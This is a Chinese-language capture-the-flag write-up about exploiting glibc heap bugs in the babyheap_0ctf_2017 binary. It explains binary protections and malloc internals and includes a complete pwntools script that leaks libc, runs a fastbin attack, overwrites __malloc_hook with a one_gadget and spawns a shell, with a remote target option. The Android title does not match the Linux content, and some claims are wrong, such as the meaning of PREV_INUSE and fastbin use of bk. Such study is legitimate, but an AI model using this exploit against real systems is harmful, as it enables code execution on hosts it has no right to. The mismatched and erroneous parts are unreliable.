漏洞免费实战部分-安卓应用层getLastPathSegment函数问题
一、信息收集
•RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。RELRO为“Full RELRO”,对GOT表没有写入权限。
•Stack:栈溢出保护,当启用栈保护后,函数开始执行的时候就会向往栈里插入cookie信息,当函数真正返回的时候回验证cookie信息是否合法,若果不合法就会停止程序运行。
•NX:全称(NO-execute)不可执行的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。
•PIE:PIE (ASLR) 全称(position-independent exeecutable)。中文为地址无关可执行文件。该技术是一个针对代码段(.text)、数据段(.data)、为初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时变换加载地址,从而不能通过ROPgadget等工具帮助解题。
当前文件保护全开
二、逆向分析文件
main 函数逆向:
结构体
Plain Text
struct array{
int check, // 当前array使用状态计数
char* size, // 申请的堆空间大小
char* buffer // 申请的堆空间
}
在 sub_d48()函数如下,使用了自己定义结构保存申请的堆。
在sub_E7F()函数中存在堆溢出漏洞,可控制输入内容与大小。
堆空间内存图
Gherkin
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
# 这里是user Data返回的指针是这里
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
结构体:
C++
struct malloc_chunk{
//INTERNAL_SIZE_T 64位下是8字节,32位下是4字节
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk* fd;
struct malloc_chunk* bk;
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
}
•prev_size :如果上一个chunk处于释放状态,用于表示其大小;否则作为上一个chunk的一部分,用于保存上一个chunk的数据。
•size:表示当前chunk的大小,根据规定必须是2*SIZE_SZ的整数倍。SIZE_SEZ 在64位下是8字节,32位下是4字节。受到内存对齐影响,最后3个比特位被用作状态标识,最低两位比特位:
○IS_MAPPED: 用于标识一个chunk是否从mmap函数中获得。如果用户申请一个相当大的内存,malloc会通过mmap函数分配一个映射段。
○PREV_INUSE:用于标识上一个chunk的状态。当他为1时,表示上一个chunk为释放状态,反之为使用状态。
•fd 和 bk:释放状态下才使用。在free chunk表中 指向当前chunk的前一个chunk和后一个chunk。
•fd_nextsize 和 bk_nextsize:释放状态下才使用仅用于large bin表中。指向前一个和后一个chunk的大小。
libc对堆块释放的管理
tcache
•Fast bin 单链表结构,采用LIFO(后进先出) 的分配策略。表里的chunk不会合并,PREV_INUSE 始终为1.在fastbinsY数组里按大小的顺序排列,下标为0的fastbin中容纳chunk的大小 4*SIZE_SZ。随着序号增加,容量chunk递增2 * SIZE_SZ。
•unsortedbin 双链表结构,采用FIFO(先进先出)的分配策略。容纳的chunk大小可以不同
•small bin 双链表结构,容纳的chunk大小相同。每个small bin的大小为2 * SIZE_SE * idx(下标)。64位系统中最小的small chunk位2x8x2=32字节,最大small chunk为2 x 8 x 63 = 1008字节。
•large bin 双链表结构
通过堆溢出泄漏libc基地址。
使用one_gadget 寻找libc中的shellcode片段地址
计算shellcode 内存地址
将shellcode写入malloc_hook 地址处,执行malloc功能触发shellcode
攻击思路
linux中使用free()进行内存释放时,不大于 max_fast (默认值为 64BK)的 chunk 被释放后,首先会被放到 fast bins中,大于max_fast的chunk或者fast bins 中的空闲 chunk 合并后会被放入unsorted bin中(参考glibc内存管理ptmalloc源码分析)
而在fastbin为空时,unsortbin的fd和bk指向自身main_arena中,该地址的相对偏移值存放在libc.so中,可以通过use after free后打印出main_arena的实际地址,结合偏移值从而得到libc的加载地址。
1.泄漏libc基地址
使用ida加载libc-2.23_x64.so 搜索malloc_trim函数,对照源码可得 0x3C4B20 是main_arena 的偏移地址。
源码中 malloc_trim 函数
2.使用one_gadget 获取shellcode
3. 计算shellcode 内存地址
内存中泄漏的main_arena 地址为运行
4. 劫持malloc_hook
原理:
•malloc_hook位于main_arena上方-0x10的位置,可以通过fake chunk来overwrite该值实现getshell
•free_hook 位于libc上_free_hook上,可以通过fake chunk来overwrite该值达到劫持程序流的目的
拿到malloc_hook 不能直接用,需要转换地址为 malloc_hook-0x23(因libc版本不同偏移不一样),因为需要符合do_check_malloced_chunk函数检查 ,这个位置刚好有个0x7f ,0x7f 检查符合NON_MAIN_ARENA ,IS_MAPPED, PREV_INUSE 。申请堆空间拿到malloc_hook-0x23 的返回地址,malloc返回是有偏移的,所以在之前地址上加0x10, 最终拿到的地址是 malloc_hook-0x23+0x10. 向申请的堆空间写入shellcode覆盖malloc_hook,那填充的偏移就为0x13
5.fastbins的利用机制
三、具体细节
Python
from pwn import *
import pdb
# -*- coding: utf-8 -*-
debug = 1
if (debug):
p = process("./babyheap_0ctf_2017")
else:
p = remote('node4.buuoj.cn', 25403)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def alloc(size):
p.recvuntil('Command:')
p.sendline('1')
p.sendline(str(size))
def free(idx):
p.recvuntil('Command:')
p.sendline('3')
p.sendline(str(idx))
def fill(idx,payload):
p.recvuntil('Command:')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def dump(idx):
p.recvuntil('Command:')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
return p.recvline()[:-1]
alloc(0x60) #实际情况是 0x71 idx--0
alloc(0x40) # 0x51 idx--1
fill(0,b'a'*0x60+p64(0)+p64(0x71)) # 这里修改 idx——1 的 大小为0x71 --- 为什么要修改 idx--1 的大小
alloc(0x100) # 实际大小是 0x111 idx--2
fill(2,b'a'*0x10+p64(0)+p64(0x71)) # 在 idx--2 中布局一个0x10大小填充 chunk为0x71
free(1) # 将 idx---1 放入fastbins
alloc(0x60) # 这里申请0x60 内存中把 idx--2 的头部给覆盖了 ,这里产生的内容重叠。
fill(1,b'b'*0x40+p64(0)+p64(0x111))
# 这里将idx--1 中的内容填充溢出写到 idx--2 的头部大小为0x111 还原了 idx---2 的头
alloc(0x50) # 防止合并
free(2)
leakaddr = dump(1) # 使用dump 需要指针存在,这里是使用idx--1 因为在内存重叠的时候大小包含了idx--2 内存,当idx--2 放入unsortedbin时 idx--1还是可以看到idx--2的内容 所以使用idx--1 来泄漏
libc_base = u64(leakaddr[-8:]) - 0x3c4b78 # main_arena的基址存放在libc中的malloc_trim()函数中 (0x3c4b20+88) 88 是泄漏的main_arena+88 所以要算上这个88
print(hex(libc_base))
#------- fast bin attack -------
malloc_hook = libc.symbols['__malloc_hook'] +libc_base
one_gadget = libc_base + 0x4527a # 0x45226 0x4527a 0xf03a4 0xf1247 0x4526a # (本地使用0x4527a,远程使用0x4526a)
free(1) # 这里将 idx-1 放入 fastbins中
print(hex(malloc_hook))
pdb.set_trace()
payload = b'a'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-27-0x8)+p64(0)
# payload = b'a'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0) # 0x23 是__malloc_hook 偏移地址,这里的意思是通过idx--0 溢出修改idx--1 中的fd指针为malloc_hook
fill(0,payload)
# 这里是修改fd指向 malloc_hook 地址 ,申请堆空间,返回malloc_hook 堆,将shellcode写入 申请的堆 即是修改了malloc_hook, 继续调用malloc 触发malloc_hook 执行shellcode
alloc(0x60) # 根据fast规则 首先返回 idx--1 块。此时 fd 指向的是0x7f17cd9baaed (malloc_hook - 0x23址
alloc(0x60) # 二次申请到堆块 根据 fd指向找到malloc_hook 地址,返回该地址的块。 idx---2
print(hex(one_gadget))
payload = p8(0)*3
payload+=p64(0)*2
payload+=p64(one_gadget)
fill(2,payload) # idx--2 中填充的是malloc_hook 中的内容
alloc(0x1) # 修改了malloc_hook ,调用malloc会优先执行 malloc_hook 指向的内容, 这里申请的大小无所谓只是为了触发malloc_hook
p.interactive()
1.地址泄漏获取libc_base malloc_hook
创建三个堆块 idx0(0x60),idx1(0x40),idx2(0x100)
idx0溢出修改 idx1的堆头,修改为0x71。
填充idx2块0x10大小的内容,要构造出idx1的大小,会重叠到idx2块中0x20范围,0x10为块头,0x10为内容填充,然后在增加一个堆头大小0x71.
Free 掉 idx1,libc将其放入fastbins链表中。
再申请一个大小为0x60的堆块,其实返回的是idx1块地址。
申请一个任意堆块,防止合并。 当前fastbins链为空。
free掉 idx2块,libc将其放入unsortedbin双链中,此时堆块中的fd、bk都指向main_arena+88 的地址。
此时输出idx1块的内容,因与idx2有重叠部分 所以会泄漏出main_arena+88的地址。
当前运行环境为ubuntu16,libc-2.23_x64.so
使用one_gadget 寻找libc-2.23_x64.so中可执行execve函数的gadget。
利用泄漏的main_arena地址计算libc基地址 如下:
libc_base = leak_main_arena+88-0x3c4b78
libc源码中main_arena的基址存放在libc中的malloc_trim()函数中 (0x3c4b20+88) 88 是泄漏的main_arena+88 所以要算上这个88。 0x3c4b20偏移使用ida查看malloc_trim函数找到。
当前所有值总结:
gadget
libc_base
malloc_hook
main_arena+88
2.使用malloc_hook方法获得shell
利用fastbins 链表中依赖fd查找下一个堆块的机制,申请到malloc_hook的堆块。
向malloc_hook中写入gadget来执行execve函数获取shell。
假设申请两个堆块idx0 idx1 大小为0x40,free掉两个堆块后 存放在fastbins链中,同时fastbins的结构是LIFO,就是最后free的堆块,malloc时最先返回使用。其维护free后堆块的fd指针来维护单链表结构。
malloc(0x40)返回idx1堆块,在malloc的时候,fastbins会根据idx1的bk指针找到idx0,然后删除idx1堆块。如果能修改free掉的idx1中fd指针,把它指向一个想要的地方,那就可以实现任意写了。
idx0溢出修改idx1中的fd,fd指向 malloc_hook-0x23的地址。
使用 p&__malloc_hook 得到地址为 0x7f7881186b10。查看0x7f7881186b10-0x23 得到 _IO_wide_data_0+301地址。这个地址就是我们需要的地址。使用malloc申请堆空间就会返回fd指向的堆块空间。此时向堆中写入gadget就是填充malloc_hook,当再次调用malloc函数时会优先执行malloc_hook中的内容。gadget被成功执行返回shell。
测试向malloc_hook堆空间写入‘a’字符,如下图成功写入。此时向这个堆空间中写入任意shellcode,调用malloc都可被执行。
完。
参考链接:
libc在线源码查看---所有版本
https://elixir.bootlin.com/glibc/glibc-2.23.90/source/malloc/malloc.c
如果感兴趣可以了解下漏洞视频教程目录如下:
关注微信公众号或者可以直接加作者微信:
其它学习教程。